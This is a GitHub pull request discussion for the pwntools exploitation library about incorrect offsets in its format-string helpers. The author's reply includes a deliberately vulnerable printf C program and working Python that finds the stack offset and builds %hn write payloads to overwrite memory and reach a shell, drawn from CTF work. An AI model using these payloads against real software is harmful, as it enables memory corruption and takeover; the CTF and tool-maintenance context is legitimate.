-
Notifications
You must be signed in to change notification settings - Fork 1.7k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Incorrect/weird offsets with Fmtstr()/fmtstr_payload() #2532
base: stable
Are you sure you want to change the base?
Conversation
Predict the length of the search pattern instead of adding arguments. Also append the address to the search pattern.
`f.leaker.s(...)` crashes sometimes, especially when using DynELF. Happens when only "START[STRING]" is returned. This is due to the null byte truncating the rest of the pattern.
Thank you! Can you add more details on how you used the format string functions, what you expected to happen and what actually happened instead? A full reproduction test case with exploit and binary to exploit would be awesome! I've been using this module successfully for a lot of challenges and don't understand what went wrong for you. @Arusekk has more insight into this part of the code. |
Hi, Sorry for the binary part, I ran all my tests on remote challenges. However, I still have their outputs. I hope it will help you investigate theses issues nonetheless. In this example, consider we want to set The following code will output the payload for fmtstr_payload(offset, { 0xbffff95c: 0xdeadbeef }, write_mode='short') Before patching
You can clearly see that the offset from One way to fix this problem is to prepend the address in the function. But null bytes will mess up the whole process. So instead, let's append the addresses from the very beginning. Also, I did not bother optimizing my search pattern, which is why the offset is off by 3 (268 instead of 265, as mentionned below). It would have been equal to the later if I shrinked the payload length to 16. After patching
Both payloads work fine ! TestingAs for the testing part, I can't think of a practical way for you to test my code. Procedure#include <stdio.h>
int value = 0x41414141;
int main() {
char buf[1024];
read(0, buf, 1023);
printf(buf);
printf("Value = %d\n", value);
return 0;
} Compile it with PIE, SF and ASLR disabled (either in 32 or 64 bits). Trying the leaking function as below should output the ELF magic number : fmt = FmtStr(...)
fmt.leaker.s(0x08048000) # Or 0x400000
# Should output "\x7fELF\x01..." Should be able to overwrite r = process(...)
fmt = FmtStr(...)
p = fmtstr_payload(f.offset, { address_value: 0xdeadbeef }, write_size='short')
r.sendline(p)
res = r.recvall()
# Value should have been changed into 0xdeadbeef CodeAs for my code, here it is : # b'%48879x%268$hn%8126x%269$hnA\\\xf9\xff\xbf^\xf9\xff\xbf'
# |----------------------------|
# Length of the format string (aligned) before adding addresses.
# In this particular payload, 28 bytes. Hence its value.
PAYLOAD_LENGTH = 28
PADDING = b''
def execute_fmtstr(r: remote, payload: bytes) -> bytes:
# The function where you execute the payload.
# Returns the response of the format string, especially the leak part if it can be found.
raise NotImplementedError()
def forge_write_payload(offset: int, value: int, address: int):
lsb = (value & 0xffff)
msb = (value >> 16) & 0xffff
payload = PADDING
if msb > lsb:
# 2nd part of address
payload += '%{}x%{}$hn'.format(lsb - len(PADDING), offset).encode()
# 1st part of address
payload += '%{}x%{}$hn'.format(msb - lsb, offset + 1).encode()
elif msb < lsb:
# 2nd part of address
payload += '%{}x%{}$hn'.format(msb - len(PADDING), offset + 1).encode()
# 1st part of address
payload += '%{}x%{}$hn'.format(lsb - msb, offset).encode()
else:
raise ValueError('Equal parts, cannot craft payload.')
payload = payload.ljust(PAYLOAD_LENGTH, b'A')
payload += p32(address) + p32(address + 2)
return payload
def forge_payload(offset: int, format: str, address: int):
payload = (PADDING + '%{}${}.'.format(offset, format).encode()).ljust(PAYLOAD_LENGTH, b'A') + p32(address)
return payload
def find_offset(r: remote, start: int, stop: int):
# Should have used De Bruijn sequence here
# but I was tweaking by hand until I got the leak right
for i in range(start, stop + 1):
haystack = 0x42424242
leak = execute_fmtstr(r, forge_payload(i, 'x', haystack))
leak = int(leak, 16)
if leak == haystack:
return i This is how I use my code : r = remote(...)
offset = find_offset(1, 300)
payload = forge_write_payload(
offset,
value=0xdeadbeef,
address=0xbffff95c
)
r.sendline(payload)
[...]
# Shell
r.interactive() |
This is a series of commits in an attempt to fix the weirdness of the offsets calculated by the class
FmtStr
and the functionfmtstr_payload()
.Could never use
pwntools
in CTF challenges involving format string attacks for unknown reasons.Turns out after some testing and coding my own functions that the offsets are off.
I have tested the patched code on some Root Me challenges. No matter the write mode I use between byte, short, int, etc. or other classes I use like DynELF, code seems to be running fine.
I would like to hear your input on it.
Tested and patched version : 4.14.0